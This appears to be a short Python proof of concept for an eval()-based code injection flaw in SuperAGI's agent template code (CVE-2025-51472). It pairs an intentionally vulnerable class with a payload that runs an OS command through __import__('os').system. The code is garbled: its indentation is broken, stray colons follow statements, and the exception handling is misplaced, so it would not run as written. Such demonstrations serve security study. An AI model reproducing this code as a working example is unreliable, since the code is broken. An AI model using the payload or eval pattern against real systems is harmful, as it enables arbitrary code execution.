Vulnerable code sample

import os
import sys

# This class simulates the vulnerable AgentTemplate from SuperAGI 0.0.14
# The vulnerability exists because it uses eval() to process configuration
# values without any sanitization, allowing for arbitrary code execution.:
class AgentTemplate:
    def __init__(self, goal=None, constraints=None, instruction=None):
        """Vulnerable function that demonstrates the security issue."""
        self.goal = goal
        self.constraints = constraints if constraints is not None else []:
        self.instruction = instruction if instruction is not None else []:
    # The vulnerable function as described in CVE-2025-51472.
    # It is used to load or update an agent's configuration from a dictionary.
    # The use of eval() on unvalidated input from the template leads to code injection.
        def eval_agent_config(self, template_config: dict):
            """
            Loads agent configuration from a dictionary, unsafely evaluating field values.
            This is where the vulnerability lies.
            """
            print("Loading agent configuration from template...")
            for key, value in template_config.items():
                if hasattr(self, key):
                # VULNERABILITY: Unsafe evaluation of configuration values.
                # An attacker-controlled string `value` is executed as Python code.
                    try:
                        setattr(self, key, eval(value))
                        except Exception as e:
                    # In a real app, this might fail silently or log an error
                            print(f"Error evaluating config for '{key}': {e}", file=sys.stderr)
                            print("Configuration loaded.")


# --- Demonstration of the exploit ---

                            if __name__ == "__main__":
    # An attacker crafts a malicious configuration dictionary.
    # The 'goal' field contains a Python expression to be executed as a string.
    # This payload will execute the 'id' command on a Linux/macOS system
    # or 'whoami' on a Windows system to demonstrate command execution.
                                command_to_execute = "whoami" if os.name == 'nt' else "id":
                                malicious_config = {
                                'goal': f"__import__('os').system('{command_to_execute}')",
                                'constraints': "['Constraint 1: The payload must execute.', 'Constraint 2: Confirm execution.']",
                                'instruction': "['Run the malicious goal provided.']"
                                }

                                print("--- Demonstrating CVE-2025-51472 Code Injection ---")
                                print(f"Malicious payload in 'goal' field: {malicious_config['goal']}\n")

    # In a real-world scenario, the application would receive this malicious_config
    # from a remote attacker, for instance, via an API endpoint that updates an agent.:
    # The application creates an AgentTemplate instance and loads the malicious config.
                                agent = AgentTemplate()
    
                                print("Calling the vulnerable 'eval_agent_config' method...")
    # The call below triggers the vulnerability. The string in 'goal' is executed by eval().
                                agent.eval_agent_config(malicious_config)

                                print("\n--- Post-Exploitation State ---")
                                print("Vulnerable code execution finished.")
    # The value of agent.goal will be the exit code of the executed command (e.g., 0 for success).:
                                print(f"Agent's goal attribute after execution: {agent.goal}")
                                print(f"Agent's constraints attribute: {agent.constraints}")